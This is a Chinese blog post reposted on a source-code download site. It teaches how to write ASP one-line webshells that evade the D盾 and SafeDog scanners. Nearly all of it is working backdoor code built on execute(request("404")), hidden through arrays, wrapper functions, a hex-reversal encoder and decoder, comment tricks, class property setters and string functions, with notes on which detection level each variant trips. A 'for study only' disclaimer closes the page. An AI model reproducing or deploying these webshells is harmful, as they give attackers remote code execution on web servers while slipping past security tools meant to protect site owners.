最新公告
  • 欢迎加入阿奇源码资源网团队,精品资源持续增加!立即加入我们
  • 让asp的webshell也灵活起来

    广告!请自辨真伪 广告!请自辨真伪 广告!请自辨真伪
    云产品限时秒杀,1核2G首年99元 限时注册送一年会员,注册自动到账

    0x00 前言

    现在asp不多但是还是有,还是写一篇文章来简单的介绍下asp的免杀吧,相对于php我们的asp还是不够灵活。

    0x01 目录

    1. 数组
    2. 函数
    3. 加密
    4. 注释符
    5. 字符串操作

    0x02 了解asp一句话

    ASP解释器还有:VBScript

    ASP的注释符号 : ' 、 REM 当然如果你使用vbscript 注释还有<!-- --> 和//

    ASP的执行函数 : Eval 、 Execute 、ExecuteGlobal

    0x03 数组

    利用数组来免杀,因为我们在php免杀中使用过数组,他的效果还不错,那么我们是否可以利用到asp来,当然答案是肯定的

    其中定义数组的方法有多种方式,我们才用最简单方式来看看

    <%
    dim a(5)
    a(0)=request("404")
    eXecUTe(a(0))
    %>
    

    简单的数组定义D盾就不认识了,为什么我会想到用数组来绕过,因为我发现函数调用的时候D盾不敏感,包括asp,php等

    当然你还可以这样用,加上一点循环语句

    <%
      dim array(1)
      dim c
      array(1)=request("404")
      for each a in array
        c = a & ""
      next
      execute(c)
    %>
    

    0x04 函数

    这个是那天D盾更新,无意间测试出来的,发现d盾对函数传入不是很敏感

    <%
    
    Function b():
        b = request("404")
    End Function
    
    
    Function f():
        eXecUTe(b())
    End Function
    f()
    
    %>
    

    0x05 加密

    网上随便找了一段加密算法 但是测试发现D盾爆了一级,参数未知

    <%
    eXecUTe(gw_jiemi("920022008400D4002200820047003700560057001700560027000200C60016006700560077007600"))
    function gw_jiemi(text)
        const key="gw"
        dim str : str=text
        dim str1
        dim str2 : str2=strreverse(str) 
        for i=1 to len(str2) step 4
            str1=str1 & ChrW(cint("&H" & mid(str2,i,4)))
        next
        gw_jiemi=mid(str1,len(key)+1,len(str)-len(key))
    end function
    %>
    

    既然都提示我们参数的问题了,那么简单的干扰一下吧,连接个空字符

    <%
    eXecUTe(gw_jiemi("920022008400D4002200820047003700560057001700560027000200C60016006700560077007600")&"")
    function gw_jiemi(text)
        const key="gw"
        dim str : str=text
        dim str1
        dim str2 : str2=strreverse(str) 
        for i=1 to len(str2) step 4
            str1=str1 & ChrW(cint("&H" & mid(str2,i,4)))
        next
        gw_jiemi=mid(str1,len(key)+1,len(str)-len(key))
    end function
    %>
    

    解密的算法是

    function gw_jiami(text)
        const key="gw"
        dim str : str=key & text 
        dim str1
        dim str2
        for i=1 to len(str)
            str2=hex(AscW(mid(str,i,1)))
            for j=1 to 4-len(str2)
                str2="0" & str2
            next
            str1=str1 & str2
        next
        gw_jiami=strreverse(str1)
    end function

    0x06 注释符

    通过一个简单的注释符绕过安全狗还是比较简单的,

    <%
        a = request("404")
        b = a REM a
        execute(b)
    %>        
    

    怎么绕过d盾了想了几分钟发现可以这样

    <%
    <!--
        a = request("404")
        execute(a)
    -->
    %>  
    

    0x07 类

    在php中我们使用类可以很轻松的绕过,但是asp使用类现在d盾看的很紧,首先写个最简单的类

    <%
    
    Class is404
      Private Sub Class_Initialize
        execute request("404")
      End Sub
    End Class
    
    Set X = New is404
    
    %>
    

    利用Class_Initialize 初始化就调用我们的函数,但是已经不行了,那么我们简单的变形一下

    <%
    Class LandGrey
        private str_title
    
        public property let setauthor(str)
        execute str REM a
        end property
    End Class
    
    Set a= New LandGrey
    a.setauthor= request("404")
    %>
    

    这个D盾爆出一级,提示未知参数str,怎么绕过呢,我们可以用函数的方式把他包裹起来 跟前面方案一样

    <%
    Class LandGrey
        private str_title
    
        public property let setauthor(str)
        execute(str&"")
        end property
    End Class
    
    Set a= New LandGrey
    a.setauthor= request("404")
    %>
    

    但是提示语句没结束语法问题,那就改改,用括号包裹起来调用,同时利用REM注释后面的内容,d盾就会识别括号里面有内容,从而绕过

    <%
    Class LandGrey
        private str_title
    
        public property let setauthor(str)
        execute(str )REM a)
        end property
    End Class
    
    Set a= New LandGrey
    a.setauthor= request("404")
    %>
    

    前面说过他提示的参数没 赋值 那么我们就定义一个局部变量来赋值吧

    <%
    Class LandGrey
    
    private str
        Private Sub Class_Initialize
        str = ""
        End Sub
        public property let setauthor(str)
        execute(str)
        end property
    
    End Class
    
    Set a= New LandGrey
    a.setauthor= request("404")
    %>
    

    0x08 字符串操作

    前面php的webshell我们讲过,d盾是杀参数的,我们如何绕过的思路就是在传入参数这里做文章,先来一个简单的

    <%
    a = request("404")
    b = Left(a,99999)
    execute(b)
    %>
    

    D盾直接爆4级,我们再找个函数包裹一下我们的a字符串,UCase大小写转换

    <%
    a = request("404")
    b = Left(UCase(a),99999)
    execute(b)
    %>
    

    还是4级,那么我们在后面连接一个空格呢,那么他就能完美绕过

    <%
    a = request("404")
    b = Left(UCase(a)&"",99999)
    execute(b)
    %>
    

    0x09 总结

    虽然asp不是很灵活,但是通过探索还是能发现不少姿势,还是那句话多学多练,我们一起从0开始

    声明:本站发布的文章及附件仅限用于学习和研究目的.请勿用于商业或违法用途,否则后果请用户自负。 本站所有资源不带技术支持,下载资源请24小时内删除,如用于违法用途,或者商业用途,一律使用者承担。

    1. 本站所有资源来源于用户上传和网络,如有侵权请邮件联系站长!hnymwl@foxmail.com
    2. 您必须在下载后的24个小时之内,从您的电脑中彻底删除上述内容资源!
    3. 如果你也有好源码或者教程,可以到审核区发布,分享有金币奖励和额外收入!
    4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解!
    5. 如有链接无法下载、失效或广告,请联系管理员处理!
    6. 本站资源售价只是赞助,收取费用仅维持本站的日常运营所需!
    7. 本站不保证所提供下载的资源的准确性、安全性和完整性,源码仅供下载学习之用!
    8. 如用于商业或者违法用途,与本站无关,一切后果请用户自负!
    阿奇源码 » 让asp的webshell也灵活起来

    常见问题FAQ

    免费下载或者VIP会员专享资源能否直接商用?
    本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
    提示下载完但解压或打开不了?
    最常见的情况是下载不完整: 可对比下载完压缩包的与网盘上的容量,若小于网盘提示的容量则是这个原因。这是浏览器下载的bug,建议用百度网盘软件或迅雷下载。若排除这种情况,可在对应资源底部留言,或 联络我们.。
    找不到素材资源介绍文章里的示例图片?
    对于PPT,KEY,Mockups,APP,网页模版等类型的素材,文章内用于介绍的图片通常并不包含在对应可供下载素材包内。这些相关商业图片需另外购买,且本站不负责(也没有办法)找到出处。 同样地一些字体文件也是这种情况,但部分素材会在素材包内有一份字体下载链接清单。
    开通终身会员能下载全站资源码?
    可以100%下载全站源码资源的,除部分失效资源,失效的可以联系客服尝试恢复。

    发表评论